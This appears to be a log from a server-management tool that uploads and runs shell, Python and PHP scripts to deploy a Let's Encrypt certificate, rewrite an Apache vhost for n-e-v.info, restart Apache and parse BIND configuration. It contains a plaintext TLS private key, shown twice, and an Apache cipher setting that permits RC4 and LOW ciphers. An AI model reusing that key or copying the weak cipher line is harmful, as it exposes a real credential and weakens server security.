58aOrCWIhOLSYQxdoomtsbVtx3eUWlbL5p51gCfPBuZHwZFtEHaDMUcVBy1wqbVB
+UHTAqSVDRw8HKpThkCyF2FMOEXD0vAHyg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDiLCGP+qht6BoA
Z+Ybu7pNE0PhSFzydtwCfpBdL03idTwkxSjBT+CzRcUQtGJTlQ+WMueiynw9LZCz
qZwJLq5r4B9YIuLPi/1vR+SyNXAkZreBK0EPdhQpxUwZlF0GM3VX/nK/bu78zPVx
rfhUzRlP9tkHN6fPrD8GwiYD84SO0BVvM/qQU4UvDqOrZ5rnkF2EcEEHjr/9T35Y
IEsb+pgJ13Kz5YjWSx1JJZfdHr4VzxMEt0F/ivbWlkZwulIhu/QCcmKsAwp6Ew3v
QFvN8j/077XRvKbz61M5DG58ofadBvhV1ImoLYSqNic1LRUgpQjaeTMD6/br0nOW
Kj7AR069AgMBAAECggEAFltIEAbgykhvSuCk/Ch7hcM56lVwVp6i0x5L9Tdyqp1t
uLFtJ2VWxUcdb9rHfhKVzAIz0mwoiWrtIE1Ljr7OCqdzVw96aGCincg3Vi72awAP
nerhef6b3KB+Nr3AekHw6ftNasMznXVBwnRwv9UsQ4gXiOFFVb+61Syw0aLV1MCT
oxy7rGGdgrzAlLwFSKML/NzpseJm0oHaMk9fXpkWI+bGP72F/M5TFYxe8qU57HWX
CIPO0O5HyUCZoEUtO0lk7GtjIcX8wKGSKp0GJ25OKawkT8xDZ8saLI3dQRRosu+E
rR+ooi7JtOVC0kK7t22r5H9UIMUjhvi7UES9GoMV4wKBgQDy61YEp0HaOl1FXY4g
LzSJ3LRfialb115+RVYVeMhd66zNd95vLuHVsFpGCY8I03q/2GHPsDBAj0+4Q5GE
MZJQrSXPpSS3ZNU89B+nFLbCJqP/vs82M3+Tls6GqDxj05KyL2bEdmITKPYUYdwB
Y9m1MHf3BSlmEkxFRQy2epcypwKBgQDuWfAKqmqAH/XmDaZKXvvVjjxoos7br2pW
PAzDSDIw9qVhYfJxgf05S+2bkK2N2KwxKGNoT07GmriTB2vpUzpJSX9b0kJyg6xQ
mf/vfNabRFQhCV/f6WZr7gjawhthuBdFqDk1aQlWqKTO0LMnSsw1uRd6SKWdO+mA
y9COvI/T+wKBgHPMPXgAZ0LpOZccbujmt8vUOuOkEuil9PSKhuu7ZQBonTphHtav
aZZc99uVKOsTLNuRAadonMfZyS3Uf+SdYNs2fuTKG4OU/JWO5hvWovxQQTNjuRFk
YTdw10iXoBoSPEbWk82phT0O9KdosuCywZA+56EIg+CVbmhC7zl5nOPXAoGAbM0p
QfUgwHPWb7lzWyeYlZdkA++ttaKRS+QFf28JWkh8ncN0RFQuH2WFhSm5z7JEh/wD
xK3PK+Gct6D/pXaUeLfQJz4HjvaERhbGObAm1qGONbZtyWxlkIcMC6/nh+fc17M+
yh60YJaDBNVHsnv2U9+10+AtmWSr5lsjTMTOctkCgYBeS6gznBMT8CjCG0MXsab6
HNmGpLeACQuVakJfeikRSQpfKXzfINqSL6TnyVeSfFEHLqczdTwQMWam6DghHgtO
2lPLsjjQ2DzQ/2zLjKB6c4lgcyes5LLqgHve4bXai9LRaww1eSf42JOofDN6UZ+j
VcWTK1NueU51e3eQUlE3Vg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-13 18:26:52: 

chmod 755 /tmp/pkp661037; /tmp/pkp661037; rm /tmp/pkp661037

2026-03-13 18:26:53: 


dir=/etc/ssl/certs


2026-03-13 18:26:53: 

PUT: /tmp/pkp724915

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/n-e-v_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-13 18:26:53: 

chmod 755 /tmp/pkp724915; /tmp/pkp724915; rm /tmp/pkp724915

2026-03-13 18:26:53: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/n-e-v_www_info.conf 38

<VirtualHost *:80>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/27a452e75854403499effc104b58be29.crt
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_secure_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>






2026-03-13 18:26:53: 

PUT: /tmp/pkp961478

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=n-e-v_www_info.conf
TARGET=/etc/apache2/sites-enabled/n-e-v_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/27a452e75854403499effc104b58be29.crt
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_secure_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/n-e-v_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/n-e-v_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/n-e-v_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/n-e-v_www_info.conf= 1'
fi


2026-03-13 18:26:54: 

chmod 755 /tmp/pkp961478; /tmp/pkp961478; rm /tmp/pkp961478

2026-03-13 18:26:54: 




2026-03-13 18:26:54: 

PUT: /tmp/pkp975906

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-13 18:26:55: 

chmod 755 /tmp/pkp975906; /tmp/pkp975906; rm /tmp/pkp975906

2026-03-13 18:26:55: 


.


2026-03-13 18:26:55: Establishing a connection
2026-03-13 18:26:56: 

PUT: /tmp/pkp481047

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-13 18:26:57: 

chmod 755 /tmp/pkp481047; /tmp/pkp481047; rm /tmp/pkp481047

2026-03-13 18:26:58: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:2)
                 alias www.n-e-v.info
         port 80 namevhost mercury.hostz.org (/etc/apache2/sites-enabled/pjy_mercury_us.conf:2)
*:443                  is a NameVirtualHost
         default server n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:21)
         port 443 namevhost n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:21)
                 alias www.n-e-v.info
         port 443 namevhost mercury.hostz.org (/etc/apache2/sites-enabled/pjy_mercury_us.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-03-13 18:26:58: 

PUT: /tmp/pkp340408

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/n-e-v_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-13 18:26:58: 

chmod 755 /tmp/pkp340408; /tmp/pkp340408; rm /tmp/pkp340408

2026-03-13 18:26:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/n-e-v_www_info.conf	1324

<VirtualHost *:80>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/27a452e75854403499effc104b58be29.crt
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_secure_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>







2026-03-13 18:26:58: 

PUT: /tmp/pkp339161

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/27a452e75854403499effc104b58be29.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-13 18:26:59: 

chmod 755 /tmp/pkp339161; /tmp/pkp339161; rm /tmp/pkp339161

2026-03-13 18:26:59: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/27a452e75854403499effc104b58be29.crt	5341
88:87:27:c6:fa:f0:2a:4f:1a:9a:7e:f9:f5:78:04:f0

-----BEGIN CERTIFICATE-----
MIIE9TCCA92gAwIBAgISBW6oERsk0eiAGV7BnVqkAe6dMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzEzMTcyODE3WhcNMjYwNjExMTcyODE2WjAVMRMwEQYDVQQD
EwpuLWUtdi5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4iwh
j/qobegaAGfmG7u6TRND4Uhc8nbcAn6QXS9N4nU8JMUowU/gs0XFELRiU5UPljLn
osp8PS2Qs6mcCS6ua+AfWCLiz4v9b0fksjVwJGa3gStBD3YUKcVMGZRdBjN1V/5y
v27u/Mz1ca34VM0ZT/bZBzenz6w/BsImA/OEjtAVbzP6kFOFLw6jq2ea55BdhHBB
B46//U9+WCBLG/qYCddys+WI1ksdSSWX3R6+Fc8TBLdBf4r21pZGcLpSIbv0AnJi
rAMKehMN70BbzfI/9O+10bym8+tTOQxufKH2nQb4VdSJqC2EqjYnNS0VIKUI2nkz
A+v269Jzlio+wEdOvQIDAQABo4ICHzCCAhswDgYDVR0PAQH/BAQDAgWgMBMGA1Ud
JQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFBv+9mTH0gjg
DTmPDTijCEwX2PqeMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzpDNHSMDMG
CCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxlbmNyLm9y
Zy8wJQYDVR0RBB4wHIIKbi1lLXYuaW5mb4IOd3d3Lm4tZS12LmluZm8wEwYDVR0g
BAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMi5jLmxl
bmNyLm9yZy8zMC5jcmwwggEDBgorBgEEAdZ5AgQCBIH0BIHxAO8AdgBkEcRspBLs
p4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZzoc3gUAAAEAwBHMEUCIQCA4f8h
NnI9a8YWwVCrtrexntIYQm4f4XUCVwEctokBNwIgKrpBeEG+5R1iYWZprlF+vZLy
dOe5/Qx2Ru5mLG68XoIAdQAWgy2r8KklDw/wOqVF/8i/yCPQh0v2BCkn+OcfMxP1
+gAAAZzoc3hIAAAEAwBGMEQCIB59wIL3H4rfmDm9XjBehhyqpgcfzQxyndcMQOJq
uVf5AiAi3leSwE2Fbs3ov3OmBpWZigE4CuKhJLFlFZcLByqZ7jANBgkqhkiG9w0B
AQsFAAOCAQEAOt7unWdkxRRVXgpXIwMAY3P0TQLjuFOE71hqDt4I7FHYNomW0B/Y
CCe/8dCzDPuocdumxI954wxFaq/+HxlC4Ejp3Ksos9viVIxQfk3/exyN6TWDgQsu
opPwnQy/Eo1HGMDcs+XJOBgKHWnHFCv+Uqt43QpCKcWGdZ3wnJ4odUez/DnVmli0
QS0Gf/gtua2UODjyI1Co+pXP2tRycHlbRtL0eef3Zr9wDJ9ysPchGxZqX2FldGQN
58aOrCWIhOLSYQxdoomtsbVtx3eUWlbL5p51gCfPBuZHwZFtEHaDMUcVBy1wqbVB
+UHTAqSVDRw8HKpThkCyF2FMOEXD0vAHyg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDiLCGP+qht6BoA
Z+Ybu7pNE0PhSFzydtwCfpBdL03idTwkxSjBT+CzRcUQtGJTlQ+WMueiynw9LZCz
qZwJLq5r4B9YIuLPi/1vR+SyNXAkZreBK0EPdhQpxUwZlF0GM3VX/nK/bu78zPVx
rfhUzRlP9tkHN6fPrD8GwiYD84SO0BVvM/qQU4UvDqOrZ5rnkF2EcEEHjr/9T35Y
IEsb+pgJ13Kz5YjWSx1JJZfdHr4VzxMEt0F/ivbWlkZwulIhu/QCcmKsAwp6Ew3v
QFvN8j/077XRvKbz61M5DG58ofadBvhV1ImoLYSqNic1LRUgpQjaeTMD6/br0nOW
Kj7AR069AgMBAAECggEAFltIEAbgykhvSuCk/Ch7hcM56lVwVp6i0x5L9Tdyqp1t
uLFtJ2VWxUcdb9rHfhKVzAIz0mwoiWrtIE1Ljr7OCqdzVw96aGCincg3Vi72awAP
nerhef6b3KB+Nr3AekHw6ftNasMznXVBwnRwv9UsQ4gXiOFFVb+61Syw0aLV1MCT
oxy7rGGdgrzAlLwFSKML/NzpseJm0oHaMk9fXpkWI+bGP72F/M5TFYxe8qU57HWX
CIPO0O5HyUCZoEUtO0lk7GtjIcX8wKGSKp0GJ25OKawkT8xDZ8saLI3dQRRosu+E
rR+ooi7JtOVC0kK7t22r5H9UIMUjhvi7UES9GoMV4wKBgQDy61YEp0HaOl1FXY4g
LzSJ3LRfialb115+RVYVeMhd66zNd95vLuHVsFpGCY8I03q/2GHPsDBAj0+4Q5GE
MZJQrSXPpSS3ZNU89B+nFLbCJqP/vs82M3+Tls6GqDxj05KyL2bEdmITKPYUYdwB
Y9m1MHf3BSlmEkxFRQy2epcypwKBgQDuWfAKqmqAH/XmDaZKXvvVjjxoos7br2pW
PAzDSDIw9qVhYfJxgf05S+2bkK2N2KwxKGNoT07GmriTB2vpUzpJSX9b0kJyg6xQ
mf/vfNabRFQhCV/f6WZr7gjawhthuBdFqDk1aQlWqKTO0LMnSsw1uRd6SKWdO+mA
y9COvI/T+wKBgHPMPXgAZ0LpOZccbujmt8vUOuOkEuil9PSKhuu7ZQBonTphHtav
aZZc99uVKOsTLNuRAadonMfZyS3Uf+SdYNs2fuTKG4OU/JWO5hvWovxQQTNjuRFk
YTdw10iXoBoSPEbWk82phT0O9KdosuCywZA+56EIg+CVbmhC7zl5nOPXAoGAbM0p
QfUgwHPWb7lzWyeYlZdkA++ttaKRS+QFf28JWkh8ncN0RFQuH2WFhSm5z7JEh/wD
xK3PK+Gct6D/pXaUeLfQJz4HjvaERhbGObAm1qGONbZtyWxlkIcMC6/nh+fc17M+
yh60YJaDBNVHsnv2U9+10+AtmWSr5lsjTMTOctkCgYBeS6gznBMT8CjCG0MXsab6
HNmGpLeACQuVakJfeikRSQpfKXzfINqSL6TnyVeSfFEHLqczdTwQMWam6DghHgtO
2lPLsjjQ2DzQ/2zLjKB6c4lgcyes5LLqgHve4bXai9LRaww1eSf42JOofDN6UZ+j
VcWTK1NueU51e3eQUlE3Vg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-03-13 18:27:15: Establishing a connection
2026-03-13 18:27:15: 

PUT: /tmp/pkp953468

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
